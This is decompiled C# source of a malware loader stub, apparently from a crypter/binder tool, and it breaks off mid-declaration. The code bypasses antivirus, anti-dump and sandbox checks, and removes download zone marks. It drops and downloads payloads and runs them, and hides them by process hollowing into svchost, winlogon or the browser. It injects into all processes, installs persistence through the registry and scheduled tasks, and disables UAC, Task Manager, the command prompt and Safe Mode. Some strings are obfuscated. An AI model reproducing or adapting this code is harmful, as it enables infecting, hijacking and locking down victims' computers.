using System; using System.Collections; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.IO.Compression; using System.Management; using System.Net; using System.Reflection; using System.Resources; using System.Runtime.InteropServices; using System.Security.AccessControl; using System.Security.Claims; using System.Security.Principal; using System.Threading; using System.Windows.Forms; using InjectionLibrary; using JLibrary.PortableExecutable; using Microsoft.Win32; using RunPEHandler; namespace StubCode { // Token: 0x0200000C RID: 12 internal class stub { // Token: 0x0600005B RID: 91 RVA: 0x00004C8C File Offset: 0x00002E8C private static void Main(string[] args) { stub.res = new ResourceManager("STUB", Assembly.GetExecutingAssembly()); AppDomain.CurrentDomain.AssemblyResolve += stub.CurrentDomain_AssemblyResolve; stub.Run(args); } // Token: 0x0600005C RID: 92 RVA: 0x00004CCC File Offset: 0x00002ECC private static void Run(string[] args) { try { stub.BypassAvastScan(); if (stub.GetSetting("AntiDump")) { stub.AntiDump(); } if (stub.GetSetting("AdminRights")) { stub.StartAdAdmin(); } if (stub.GetSetting("ZoneIDEnabled")) { if (stub.GetSetting("ZoneIDDelete")) { stub.DeleteFile(Application.ExecutablePath + ":ZONE.identifier"); } else { stub.ChangeZoneID(Application.ExecutablePath); } } if (stub.GetSetting("MessageEnabled") && (!stub.GetSetting("MessageOnlyOnce") || !stub.IsInStartupFolder())) { MessageBox.Show(stub.GetSetting("MessageText"), stub.GetSetting("MessageTitle"), (MessageBoxButtons)stub.GetSetting("MessageButton"), (MessageBoxIcon)stub.GetSetting("MessageIcon")); } stub.BinderStubItem[] binderItems = stub.GetBinderItems(); foreach (stub.BinderStubItem binderStubItem in binderItems) { try { string text = stub.GetFolderPath(binderStubItem.location) + "\\" + binderStubItem.filename; try { File.WriteAllBytes(text, binderStubItem.data); } catch { } if (binderStubItem.runmode != stub.RunMode.Always) { if (binderStubItem.runmode != stub.RunMode.Once) { goto IL_13D; } if (stub.IsInStartupFolder()) { goto IL_13D; } } Thread.Sleep(binderStubItem.delay * 1000); Process.Start(text); IL_13D:; } catch { } } stub.DownloaderMenuItem[] downloaderItems = stub.GetDownloaderItems(); foreach (stub.DownloaderMenuItem downloaderMenuItem in downloaderItems) { try { string text2 = stub.GetFolderPath(downloaderMenuItem.location) + "\\" + downloaderMenuItem.link.Substring(downloaderMenuItem.link.LastIndexOf("/") + 1); try { if (File.Exists(text2)) { File.Delete(text2); } new WebClient().DownloadFile(downloaderMenuItem.link, text2); } catch { } if (downloaderMenuItem.runmode == stub.RunMode.Always || (downloaderMenuItem.runmode == stub.RunMode.Once && !stub.IsInStartupFolder())) { Thread.Sleep(downloaderMenuItem.delay * 1000); Process.Start(text2); } } catch { } } if (stub.GetSetting("StartupEnabled") && !stub.IsInStartupFolder()) { try { if (!Directory.Exists(stub.GetStartupFolder())) { Directory.CreateDirectory(stub.GetStartupFolder()); } if (File.Exists(stub.GetStartupFolder() + "\\" + stub.GetSetting("StartupFileName"))) { File.Delete(stub.GetStartupFolder() + "\\" + stub.GetSetting("StartupFileName")); } if (stub.GetSetting("StartupMelt")) { File.Move(Application.ExecutablePath, stub.GetStartupFolder() + "\\" + stub.GetSetting("StartupFileName")); } else { File.Copy(Application.ExecutablePath, stub.GetStartupFolder() + "\\" + stub.GetSetting("StartupFileName"), true); } stub.SetCreationDate(stub.GetStartupFolder() + "\\" + stub.GetSetting("StartupFileName")); if (stub.GetSetting("StartupForceRestart")) { Process.Start("shutdown.exe", "-r -f -t 0"); } else { stub.StartProcess("cmd", string.Concat(new string[] { "\"", stub.GetStartupFolder(), "\\", stub.GetSetting("StartupFileName"), "\" & exit" })); } Environment.Exit(0); } catch { } } stub.AddToStartup(); stub.SetAttributes(); byte[] array3 = null; try { array3 = stub.Decompress(stub.GetSetting("MainFile")); } catch { } RunPE.PROCESS_INFORMATION process_INFORMATION = default(RunPE.PROCESS_INFORMATION); IntPtr zero = IntPtr.Zero; uint num = 0u; stub.InjectionType setting = stub.GetSetting("InjectionType"); if (array3 != null) { if (setting == stub.InjectionType.Reflection) { stub.ReflectionInvoke(array3, args); stub.SystemWidePersistence(Process.GetCurrentProcess().Id, Process.GetCurrentProcess().Id); } else { if (!RunPE.Run(array3, string.Join(" ", stub.GetCMDArgs(args)), stub.GetInjectionPath(setting), ref process_INFORMATION, ref zero, ref num)) { RunPE.Run(array3, string.Join(" ", stub.GetCMDArgs(args)), stub.GetInjectionPath(stub.InjectionType.Itself), ref process_INFORMATION, ref zero, ref num); } if (stub.GetSetting("ProtectionAntiMemory")) { new Thread(delegate(object o) { object[] array4 = (object[])o; stub.DebugProgram((RunPE.PROCESS_INFORMATION)array4[0], (IntPtr)array4[1], (uint)array4[2]); }).Start(new object[] { process_INFORMATION, zero, num }); } if (stub.GetSetting("ProtectionElevatedProcess")) { stub.ElevateProcess(process_INFORMATION.hProcess); } if (stub.GetSetting("ProtectionBSOD")) { stub.CriticalProcess(process_INFORMATION.hProcess); } if (stub.GetSetting("PersistenceWatchingProcess")) { stub.ProcessPersistence(process_INFORMATION.dwProcessId); } stub.SystemWidePersistence(Process.GetCurrentProcess().Id, process_INFORMATION.dwProcessId); } } if (stub.GetSetting("ProtectionElevatedProcess")) { stub.ElevateProcess(Process.GetCurrentProcess().Handle); } if (stub.GetSetting("ProtectionBSOD")) { stub.CriticalProcess(Process.GetCurrentProcess().Handle); } stub.DisableCMD(); stub.DisableTaskManager(); stub.DisableSafeMode(); stub.DisableUAC(); stub.ProcessKiller(); stub.StartupPersistance(); } catch (Exception ex) { MessageBox.Show(ex.Message); } } // Token: 0x0600005D RID: 93 RVA: 0x000052D4 File Offset: 0x000034D4 private static void StartProcess(string prc, string args) { try { Process process = new Process(); process.StartInfo.FileName = prc; process.StartInfo.UseShellExecute = false; process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; process.StartInfo.CreateNoWindow = true; process.StartInfo.RedirectStandardInput = true; process.StartInfo.RedirectStandardOutput = true; process.Start(); process.StandardInput.WriteLine(args); process.WaitForExit(); } catch (Exception ex) { MessageBox.Show(ex.Message); } } // Token: 0x0600005E RID: 94 RVA: 0x0000536C File Offset: 0x0000356C private static void BypassAvastScan() { Process currentProcess = Process.GetCurrentProcess(); bool flag; do { flag = false; foreach (Process process in Process.GetProcesses()) { try { if (process.Id != currentProcess.Id && process.ProcessName == currentProcess.ProcessName) { try { stub.ProcessExecutablePath(process); } catch (Exception) { if (Marshal.GetLastWin32Error() == 1008) { flag = true; break; } } } goto IL_71; } catch { goto IL_71; } break; IL_71:; } if (flag) { Thread.Sleep(500); } } while (flag); } // Token: 0x0600005F RID: 95 RVA: 0x00005410 File Offset: 0x00003610 private static string ProcessExecutablePath(Process process) { try { return process.MainModule.FileName; } catch { string queryString = "SELECT ExecutablePath, ProcessID FROM Win32_Process"; ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(queryString); foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get()) { ManagementObject managementObject = (ManagementObject)managementBaseObject; object obj = managementObject["ProcessID"]; object obj2 = managementObject["ExecutablePath"]; if (obj2 != null && obj.ToString() == process.Id.ToString()) { return obj2.ToString(); } } } return ""; } // Token: 0x06000060 RID: 96 RVA: 0x000054DC File Offset: 0x000036DC private static Assembly CurrentDomain_AssemblyResolve(object sender, ResolveEventArgs args) { if (args.Name.Contains("InjectionLibrary")) { return stub.MemorySafeLoad(stub.GZIP(stub.GetSetting("PersistenceInjector"))); } if (!args.Name.Contains("RunPEDll")) { return null; } return stub.MemorySafeLoad(stub.GZIP(stub.GetSetting("RunPEDll"))); } // Token: 0x06000061 RID: 97 RVA: 0x00005538 File Offset: 0x00003738 private static void DisableSafeMode() { if (stub.GetSetting("DisableCMD")) { try { RegistryKey registryKey = Registry.LocalMachine.CreateSubKey("System\\CurrentControlSet\\Control\\SafeBoot"); registryKey.DeleteSubKey("Minimal"); registryKey.DeleteSubKey("Network"); } catch { } } } // Token: 0x06000062 RID: 98 RVA: 0x0000558C File Offset: 0x0000378C private static void DisableCMD() { if (stub.GetSetting("DisableCMD")) { try { RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("Software\\Policies\\Microsoft\\Windows"); registryKey = registryKey.CreateSubKey("System"); registryKey.SetValue("DisableCMD", 1, RegistryValueKind.DWord); } catch { } } } // Token: 0x06000063 RID: 99 RVA: 0x000055E8 File Offset: 0x000037E8 private static void DisableUAC() { if (stub.GetSetting("ProtectionDisableUAC")) { try { RegistryKey registryKey = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"); registryKey.SetValue("EnableLUA", 0, RegistryValueKind.DWord); } catch { } } } // Token: 0x06000064 RID: 100 RVA: 0x00005638 File Offset: 0x00003838 private static void DisableTaskManager() { if (stub.GetSetting("DisableTaskManager")) { try { RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion"); registryKey = registryKey.CreateSubKey("Policies"); registryKey.SetValue("DisableTaskMgr", 1, RegistryValueKind.DWord); } catch { } } } // Token: 0x06000065 RID: 101 RVA: 0x00005694 File Offset: 0x00003894 private static void StartupPersistance() { if (stub.GetSetting("PersistenceStartup")) { new Thread(delegate { for (;;) { stub.AddToStartup(); Thread.Sleep(2000); } }).Start(); } } // Token: 0x06000066 RID: 102 RVA: 0x000056D4 File Offset: 0x000038D4 private static void ProcessPersistence(int handle) { new Thread(delegate(object o) { int num = (int)o; for (;;) { bool flag = false; foreach (Process process in Process.GetProcesses()) { try { if (process.Id != num) { goto IL_4D; } flag = true; } catch { goto IL_4D; } break; IL_4D:; } if (!flag) { Process.Start(Application.ExecutablePath); Environment.Exit(0); } Thread.Sleep(50); } }).Start(handle); } // Token: 0x06000067 RID: 103 RVA: 0x00005710 File Offset: 0x00003910 private static void SystemWidePersistence(int pid, int proc) { if (stub.GetSetting("PersistenceSystemWide")) { try { if (File.Exists(stub.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\data.bin")) { File.Delete(stub.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\data.bin"); Thread.Sleep(6000); } } catch { } new Thread(delegate { List list = new List(); byte[] array = stub.GZIP(stub.GetSetting(.\u200F\u202B\u206B\u200F\u202C\u206D\u206B\u200B\u202D\u206E\u200D\u206B\u200D\u206A\u202B\u206D\u200E\u202B\u200B\u206E\u206D\u206A\u200F\u202D\u202E\u200E\u206C\u202C\u202D\u206C\u202C\u200B\u202E\u202D\u202C\u202A\u200F\u202D\u202B\u202C\u202E(2552570649u))); InjectionMethod injectionMethod = InjectionMethod.Create(2); PortableExecutable portableExecutable = new PortableExecutable(array); for (;;) { try { File.WriteAllText(stub.GetFolderPath(Environment.SpecialFolder.ApplicationData) + .\u200F\u202B\u206B\u200F\u202C\u206D\u206B\u200B\u202D\u206E\u200D\u206B\u200D\u206A\u202B\u206D\u200E\u202B\u200B\u206E\u206D\u206A\u200F\u202D\u202E\u200E\u206C\u202C\u202D\u206C\u202C\u200B\u202E\u202D\u202C\u202A\u200F\u202D\u202B\u202C\u202E(3187689758u), string.Concat(new string[] { pid.ToString(), .\u206C\u202E\u200C\u206F\u206E\u206C\u200B\u202E\u202A\u206C\u206E\u206C\u202D\u202A\u200E\u202C\u200C\u202E\u206F\u202A\u202C\u206A\u206B\u200F\u202C\u206C\u202E\u206D\u200F\u200C\u200B\u202C\u202C\u202A\u202D\u206B\u202B\u206B\u202E\u206D\u202E(937439234u), proc.ToString(), .\u200F\u202B\u206B\u200F\u202C\u206D\u206B\u200B\u202D\u206E\u200D\u206B\u200D\u206A\u202B\u206D\u200E\u202B\u200B\u206E\u206D\u206A\u200F\u202D\u202E\u200E\u206C\u202C\u202D\u206C\u202C\u200B\u202E\u202D\u202C\u202A\u200F\u202D\u202B\u202C\u202E(1579824143u), Application.ExecutablePath })); goto IL_F2; } catch { goto IL_F2; } goto IL_9B; IL_DB: int num; Process[] processes; if (num >= processes.Length) { Thread.Sleep(2000); continue; } IL_9B: Process process = processes[num]; try { if (!list.Contains(process.Id)) { injectionMethod.Inject(portableExecutable, process.Id); } } catch (Exception) { } finally { list.Add(process.Id); } num++; goto IL_DB; IL_F2: processes = Process.GetProcesses(); num = 0; goto IL_DB; } }).Start(); } } // Token: 0x06000068 RID: 104 RVA: 0x000057A8 File Offset: 0x000039A8 private static byte[] Decompress(byte[] data) { if (stub.GetSetting("CompressionLZMA")) { data = stub.SafeQuickLZ.Decompress(data); } if (stub.GetSetting("CompressionGZIP")) { data = stub.GZIP(data); } return data; } // Token: 0x06000069 RID: 105 RVA: 0x000057E0 File Offset: 0x000039E0 private static void ElevateProcess(IntPtr handle) { try { byte[] array = new byte[0]; uint num = 0u; stub.GetKernelObjectSecurity(handle, 4, array, 0u, ref num); array = new byte[num]; stub.GetKernelObjectSecurity(handle, 4, array, num, ref num); RawSecurityDescriptor rawSecurityDescriptor = new RawSecurityDescriptor(array, 0); rawSecurityDescriptor.DiscretionaryAcl.InsertAce(0, new CommonAce(AceFlags.None, AceQualifier.AccessDenied, Convert.ToInt32(987135), new SecurityIdentifier(WellKnownSidType.WorldSid, null), false, null)); array = new byte[rawSecurityDescriptor.BinaryLength]; rawSecurityDescriptor.GetBinaryForm(array, 0); stub.SetKernelObjectSecurity(handle, 4, array); } catch { } } // Token: 0x0600006A RID: 106 RVA: 0x00005888 File Offset: 0x00003A88 private static void CriticalProcess(IntPtr handle) { try { int num = 1; stub.NtSetInformationProcess(handle, 29, ref num, 4); } catch { } } // Token: 0x0600006B RID: 107 RVA: 0x000058C0 File Offset: 0x00003AC0 private static byte[] GZIP(byte[] data) { byte[] result; using (MemoryStream memoryStream = new MemoryStream(data)) { using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Decompress)) { byte[] array = new byte[data.Length * 3]; Array.Resize(ref array, gzipStream.Read(array, 0, array.Length)); gzipStream.Close(); result = array; } } return result; } // Token: 0x0600006C RID: 108 RVA: 0x00005934 File Offset: 0x00003B34 private static void ProcessKiller() { new Thread(delegate { List processKiller = stub.GetProcessKiller(); if (processKiller.Count == 0) { return; } for (;;) { foreach (Process process in Process.GetProcesses()) { try { if (processKiller.Contains(process.ProcessName.ToLower())) { process.Kill(); } goto IL_47; } catch { goto IL_47; } break; IL_47:; } Thread.Sleep(50); } }).Start(); } // Token: 0x0600006D RID: 109 RVA: 0x00005968 File Offset: 0x00003B68 private static List GetProcessKiller() { List list = new List(); foreach (string text in stub.GetSetting("ProcessKiller")) { list.Add(text.ToLower()); } if (stub.GetSetting("DisableTaskManager")) { list.Add("taskmgr"); } if (stub.GetSetting("DisableSystemRestore")) { list.Add("rstrui"); } if (stub.GetSetting("DisableCMD")) { list.Add("cmd"); } return list; } // Token: 0x0600006E RID: 110 RVA: 0x000059EC File Offset: 0x00003BEC private static string[] GetCMDArgs(string[] args) { stub.CMDArgType setting = stub.GetSetting("CMDArgsType"); if (setting == stub.CMDArgType.None) { return new string[0]; } if (setting == stub.CMDArgType.Fixed) { return stub.GetSetting("CMDArgsFixed").Split(new char[] { ' ' }); } if (setting != stub.CMDArgType.Dynamic) { } return null; } // Token: 0x0600006F RID: 111 RVA: 0x00005A34 File Offset: 0x00003C34 private static void ReflectionInvoke(byte[] data, string[] args) { try { Assembly assembly = stub.MemorySafeLoad(data); object[] array; if (assembly.EntryPoint.GetParameters().Length == 0) { array = null; } else { array = new object[] { stub.GetCMDArgs(args) }; } Thread thread = new Thread(delegate(object o) { object[] array2 = (object[])o; ((MethodInfo)array2[0]).Invoke(null, (object[])array2[1]); }); thread.SetApartmentState(ApartmentState.STA); thread.Start(new object[] { assembly.EntryPoint, array }); } catch { } } // Token: 0x06000070 RID: 112 RVA: 0x00005ACC File Offset: 0x00003CCC private static string GetInjectionPath(stub.InjectionType type) { switch (type) { case stub.InjectionType.Itself: return Application.ExecutablePath; case stub.InjectionType.Vbc: { string str = Environment.GetEnvironmentVariable("windir") + "\\Microsoft.net\\Framework\\"; if (Directory.Exists(str + "v2.0.50727")) { return str + "v2.0.50727\\vbc.exe"; } return str + "v4.0.30319\\vbc.exe"; } case stub.InjectionType.Winlogon: return Environment.GetEnvironmentVariable("windir") + "\\System32\\winlogon.exe"; case stub.InjectionType.RegAsm: { string str2 = Environment.GetEnvironmentVariable("windir") + "\\Microsoft.net\\Framework\\"; if (!Directory.Exists(str2 + "v2.0.50727")) { return str2 + "v4.0.30319\\regasm.exe"; } return str2 + "v2.0.50727\\regasm.exe"; } case stub.InjectionType.Svchost: return Environment.GetEnvironmentVariable("windir") + "\\System32\\svchost.exe"; case stub.InjectionType.Browser: return stub.GetDefaultBrowser(); default: return stub.GetInjectionPath(stub.InjectionType.Itself); } } // Token: 0x06000071 RID: 113 RVA: 0x00005BB4 File Offset: 0x00003DB4 private static string GetDefaultBrowser() { string result; using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\Shell\\Associations\\UrlAssociations\\http\\UserChoice")) { if (registryKey == null) { result = ""; } else { object value = registryKey.GetValue("Progid"); if (value != null) { using (RegistryKey registryKey2 = Registry.ClassesRoot.OpenSubKey(value.ToString() + "\\shell\\open\\command")) { if (registryKey2 != null) { try { string text = registryKey2.GetValue(null).ToString().ToLower().Replace("\"", ""); if (!text.EndsWith(".exe")) { text = text.Substring(0, text.LastIndexOf(".exe", StringComparison.Ordinal) + 4); } return text; } catch { return ""; } } return ""; } } result = ""; } } return result; } // Token: 0x06000072 RID: 114 RVA: 0x00005CB4 File Offset: 0x00003EB4 private static void SetCreationDate(string filename) { try { if (stub.GetSetting("CreationDateEnabled")) { File.SetCreationTime(filename, stub.GetSetting("CreationDateValue")); } } catch { } } // Token: 0x06000073 RID: 115 RVA: 0x00005CF4 File Offset: 0x00003EF4 private static void SetAttributes() { try { FileInfo fileInfo = new FileInfo(Application.ExecutablePath); if (stub.GetSetting("AttributeHidden")) { fileInfo.Attributes |= FileAttributes.Hidden; } if (stub.GetSetting("AttributeSystem")) { fileInfo.Attributes |= FileAttributes.System; } } catch { } } // Token: 0x06000074 RID: 116 RVA: 0x00005D58 File Offset: 0x00003F58 private static void StartAdAdmin() { if (!stub.IsAdmin()) { try { new Process { StartInfo = { FileName = "cmd.exe", WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, Arguments = "/c start \"\" \"" + Application.ExecutablePath + "\"", Verb = "runas" } }.Start(); Environment.Exit(0); } catch { } } } // Token: 0x06000075 RID: 117 RVA: 0x00005DF0 File Offset: 0x00003FF0 private static bool IsAdmin() { WindowsIdentity current = WindowsIdentity.GetCurrent(); WindowsPrincipal windowsPrincipal = new WindowsPrincipal(current); return windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator); } // Token: 0x06000076 RID: 118 RVA: 0x00005E18 File Offset: 0x00004018 private static void AddToStartup() { if (stub.GetSetting("StartupEnabled")) { try { string text = Path.GetTempPath() + stub.GetSetting("StartupName") + ".txt"; StreamWriter streamWriter = new StreamWriter(text); streamWriter.WriteLine("\"" + Application.ExecutablePath + "\""); streamWriter.WriteLine("exit"); streamWriter.WriteLine(); streamWriter.Close(); if (stub.GetSetting("StartupAdvanced")) { string text2 = stub.GetSetting("StartupTask"); text2 = text2.Replace("%USER%", WindowsIdentity.GetCurrent().Name); text2 = text2.Replace("%COMMAND%", "cmd"); text2 = text2.Replace("%ARGUMENTS%", string.Format("/c type \"{0}\" | cmd", text)); string text3 = Path.GetTempPath() + new Random().Next() + ".xml"; File.WriteAllText(text3, text2); stub.StartProcess("cmd", "schtasks.exe /Delete /TN \"Update\\" + stub.GetSetting("StartupName") + "\" /F & exit"); stub.StartProcess("cmd", string.Concat(new string[] { "schtasks.exe /Create /TN \"Update\\", stub.GetSetting("StartupName"), "\" /XML \"", text3, "\" & exit" })); File.Delete(text3); } else { string args = string.Format("reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /f /v \"{0}\" /d \"cmd /c type \"{1}\" | cmd\" & exit", stub.GetSetting("StartupName"), text); stub.StartProcess("cmd", args); } } catch { } } } // Token: 0x06000077 RID: 119 RVA: 0x00005FBC File Offset: 0x000041BC private static string GetFolderPath(Environment.SpecialFolder folder) { if (folder == Environment.SpecialFolder.MyComputer) { return Application.StartupPath; } return Environment.GetFolderPath(folder); } // Token: 0x06000078 RID: 120 RVA: 0x00005FDC File Offset: 0x000041DC private static string GetStartupFolder() { return Path.Combine(stub.GetFolderPath(stub.GetFolderFromString(stub.GetSetting("StartupLocation"))), stub.GetSetting("StartupFolderName").Trim("\\".ToCharArray())); } // Token: 0x06000079 RID: 121 RVA: 0x0000601C File Offset: 0x0000421C private static bool IsInStartupFolder() { return Application.StartupPath == stub.GetStartupFolder(); } // Token: 0x0600007A RID: 122 RVA: 0x00006038 File Offset: 0x00004238 private static Environment.SpecialFolder GetFolderFromString(string s) { foreach (Environment.SpecialFolder specialFolder in Enum.GetValues(typeof(Environment.SpecialFolder))) { if (specialFolder.ToString() == s) { return specialFolder; } } return Environment.SpecialFolder.MyComputer; } // Token: 0x0600007B RID: 123 RVA: 0x000060B4 File Offset: 0x000042B4 private static stub.DownloaderMenuItem[] GetDownloaderItems() { List list = new List(); foreach (object[] array in stub.GetSetting("DownloaderItems")) { list.Add(new stub.DownloaderMenuItem { link = (string)array[0], delay = (int)array[1], location = stub.GetFolderFromString(array[2].ToString()), runmode = (stub.RunMode)array[3] }); } return list.ToArray(); } // Token: 0x0600007C RID: 124 RVA: 0x00006144 File Offset: 0x00004344 private static stub.BinderStubItem[] GetBinderItems() { List list = new List(); foreach (object[] array in stub.GetSetting("BinderItems")) { list.Add(new stub.BinderStubItem { data = stub.Decompress((byte[])array[0]), filename = (string)array[1], delay = (int)array[2], location = stub.GetFolderFromString(array[3].ToString()), runmode = (stub.RunMode)array[4] }); } return list.ToArray(); } // Token: 0x0600007D RID: 125 RVA: 0x000061E8 File Offset: 0x000043E8 private static void ChangeZoneID(string filename) { Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; process.StartInfo.Arguments = "/c echo [zoneTransfer]ZoneID = 2 > \"" + filename + "\":ZONE.identifier & exit"; process.Start(); process.WaitForExit(); } // Token: 0x0600007E RID: 126 RVA: 0x00006240 File Offset: 0x00004440 private static T GetSetting(string name) { return (T)((object)stub.res.GetObject(name)); } // Token: 0x0600007F RID: 127 RVA: 0x00006260 File Offset: 0x00004460 private static void DetectSandboxie() { if (stub.GetModuleHandle("SbieDll.dll").ToInt32() != 0) { Environment.Exit(1); } } // Token: 0x06000080 RID: 128 RVA: 0x00006288 File Offset: 0x00004488 public unsafe static void AntiDump() { Module module = typeof(stub).Module; byte* ptr = (byte*)((void*)Marshal.GetHINSTANCE(module)); byte* ptr2 = ptr + 60; ptr2 = ptr + *(uint*)ptr2; ptr2 += 6; ushort num = *(ushort*)ptr2; ptr2 += 14; ushort num2 = *(ushort*)ptr2; ptr2 = ptr2 + 4 + num2; byte* ptr3 = stackalloc byte[(UIntPtr)11]; if (module.FullyQualifiedName[0] != '<') { byte* ptr4 = ptr + *(uint*)(ptr2 - 16); uint num3; if (*(uint*)(ptr2 - 120) != 0u) { byte* ptr5 = ptr + *(uint*)(ptr2 - 120); byte* ptr6 = ptr + *(uint*)ptr5; byte* ptr7 = ptr + *(uint*)(ptr5 + 12); byte* ptr8 = ptr + *(uint*)ptr6 + 2; stub.VirtualProtect(ptr7, 11, 64u, out num3); *(int*)ptr3 = 1818522734; *(int*)(ptr3 + 4) = 1818504812; *(short*)(ptr3 + 8) = 108; ptr3[10] = 0; for (int i = 0; i < 11; i++) { ptr7[i] = ptr3[i]; } stub.VirtualProtect(ptr8, 11, 64u, out num3); *(int*)ptr3 = 1866691662; *(int*)(ptr3 + 4) = 1852404846; *(short*)(ptr3 + 8) = 25973; ptr3[10] = 0; for (int j = 0; j < 11; j++) { ptr8[j] = ptr3[j]; } } for (int k = 0; k < (int)num; k++) { stub.VirtualProtect(ptr2, 8, 64u, out num3); Marshal.Copy(new byte[8], 0, (IntPtr)((void*)ptr2), 8); ptr2 += 40; } stub.VirtualProtect(ptr4, 72, 64u, out num3); byte* ptr9 = ptr + *(uint*)(ptr4 + 8); *(int*)ptr4 = 0; *(int*)(ptr4 + 4) = 0; *(int*)(ptr4 + 8) = 0; *(int*)(ptr4 + 12) = 0; stub.VirtualProtect(ptr9, 4, 64u, out num3); *(int*)ptr9 = 0; ptr9 += 12; ptr9 += *(uint*)ptr9; ptr9 = (((IntPtr)((void*)ptr9)).ToInt32() + 7 & -4); ptr9 += 2; ushort num4 = (ushort)(*ptr9); ptr9 += 2; for (int l = 0; l < (int)num4; l++) { stub.VirtualProtect(ptr9, 8, 64u, out num3); ptr9 += 4; ptr9 += 4; for (int m = 0; m < 8; m++) { stub.VirtualProtect(ptr9, 4, 64u, out num3); *ptr9 = 0; ptr9++; if (*ptr9 == 0) { ptr9 += 3; break; } *ptr9 = 0; ptr9++; if (*ptr9 == 0) { ptr9 += 2; break; } *ptr9 = 0; ptr9++; if (*ptr9 == 0) { ptr9++; break; } *ptr9 = 0; ptr9++; } } return; } uint num5 = *(uint*)(ptr2 - 16); uint num6 = *(uint*)(ptr2 - 120); uint[] array = new uint[(int)num]; uint[] array2 = new uint[(int)num]; uint[] array3 = new uint[(int)num]; for (int n = 0; n < (int)num; n++) { uint num3; stub.VirtualProtect(ptr2, 8, 64u, out num3); Marshal.Copy(new byte[8], 0, (IntPtr)((void*)ptr2), 8); array[n] = *(uint*)(ptr2 + 12); array2[n] = *(uint*)(ptr2 + 8); array3[n] = *(uint*)(ptr2 + 20); ptr2 += 40; } if (num6 != 0u) { for (int num7 = 0; num7 < (int)num; num7++) { if (array[num7] <= num6 && num6 < array[num7] + array2[num7]) { num6 = num6 - array[num7] + array3[num7]; break; } } byte* ptr10 = ptr + num6; uint num8 = *(uint*)ptr10; for (int num9 = 0; num9 < (int)num; num9++) { if (array[num9] <= num8 && num8 < array[num9] + array2[num9]) { num8 = num8 - array[num9] + array3[num9]; break; } } byte* ptr11 = ptr + num8; uint num10 = *(uint*)(ptr10 + 12); for (int num11 = 0; num11 < (int)num; num11++) { if (array[num11] <= num10 && num10 < array[num11] + array2[num11]) { num10 = num10 - array[num11] + array3[num11]; break; } } uint num12 = *(uint*)ptr11 + 2u; for (int num13 = 0; num13 < (int)num; num13++) { if (array[num13] <= num12 && num12 < array[num13] + array2[num13]) { num12 = num12 - array[num13] + array3[num13]; break; } } uint num3; stub.VirtualProtect(ptr + num10, 11, 64u, out num3); *(int*)ptr3 = 1818522734; *(int*)(ptr3 + 4) = 1818504812; *(short*)(ptr3 + 8) = 108; ptr3[10] = 0; for (int num14 = 0; num14 < 11; num14++) { (ptr + num10)[num14] = ptr3[num14]; } stub.VirtualProtect(ptr + num12, 11, 64u, out num3); *(int*)ptr3 = 1866691662; *(int*)(ptr3 + 4) = 1852404846; *(short*)(ptr3 + 8) = 25973; ptr3[10] = 0; for (int num15 = 0; num15 < 11; num15++) { (ptr + num12)[num15] = ptr3[num15]; } } for (int num16 = 0; num16 < (int)num; num16++) { if (array[num16] <= num5 && num5 < array[num16] + array2[num16]) { num5 = num5 - array[num16] + array3[num16]; IL_52E: byte* ptr12 = ptr + num5; uint num3; stub.VirtualProtect(ptr12, 72, 64u, out num3); uint num17 = *(uint*)(ptr12 + 8); for (int num18 = 0; num18 < (int)num; num18++) { if (array[num18] <= num17 && num17 < array[num18] + array2[num18]) { num17 = num17 - array[num18] + array3[num18]; IL_589: *(int*)ptr12 = 0; *(int*)(ptr12 + 4) = 0; *(int*)(ptr12 + 8) = 0; *(int*)(ptr12 + 12) = 0; byte* ptr13 = ptr + num17; stub.VirtualProtect(ptr13, 4, 64u, out num3); *(int*)ptr13 = 0; ptr13 += 12; ptr13 += *(uint*)ptr13; ptr13 = (((IntPtr)((void*)ptr13)).ToInt32() + 7 & -4); ptr13 += 2; ushort num19 = (ushort)(*ptr13); ptr13 += 2; int num20 = 0; IL_6A0: while (num20 < (int)num19) { stub.VirtualProtect(ptr13, 8, 64u, out num3); ptr13 += 4; ptr13 += 4; int num21 = 0; while (num21 < 8) { stub.VirtualProtect(ptr13, 4, 64u, out num3); *ptr13 = 0; ptr13++; if (*ptr13 != 0) { *ptr13 = 0; ptr13++; if (*ptr13 != 0) { *ptr13 = 0; ptr13++; if (*ptr13 != 0) { *ptr13 = 0; ptr13++; num21++; continue; } ptr13++; } else { ptr13 += 2; } } else { ptr13 += 3; } IL_69A: num20++; goto IL_6A0; } goto IL_69A; } return; } } goto IL_589; } } goto IL_52E; } // Token: 0x06000081 RID: 129 [DllImport("kernel32")] private static extern void GetSystemInfo(ref stub.SystemInfo memoryinfo); // Token: 0x06000082 RID: 130 [DllImport("kernel32.dll")] private static extern bool VirtualQueryEx(IntPtr hProcess, uint lpAddress, out stub.MemoryInfo lpBuffer, uint dwLength); // Token: 0x06000083 RID: 131 [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); // Token: 0x06000084 RID: 132 [DllImport("kernel32.dll", SetLastError = true)] private static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [In] [Out] byte[] buffer, uint size, int lpNumberOfBytesRead); // Token: 0x06000085 RID: 133 [DllImport("kernel32.dll", SetLastError = true)] private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, int lpNumberOfBytesWritten); // Token: 0x06000086 RID: 134 [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] private static extern int memcmp(byte[] b1, byte[] b2, long count); // Token: 0x06000087 RID: 135 RVA: 0x00006940 File Offset: 0x00004B40 private static Assembly 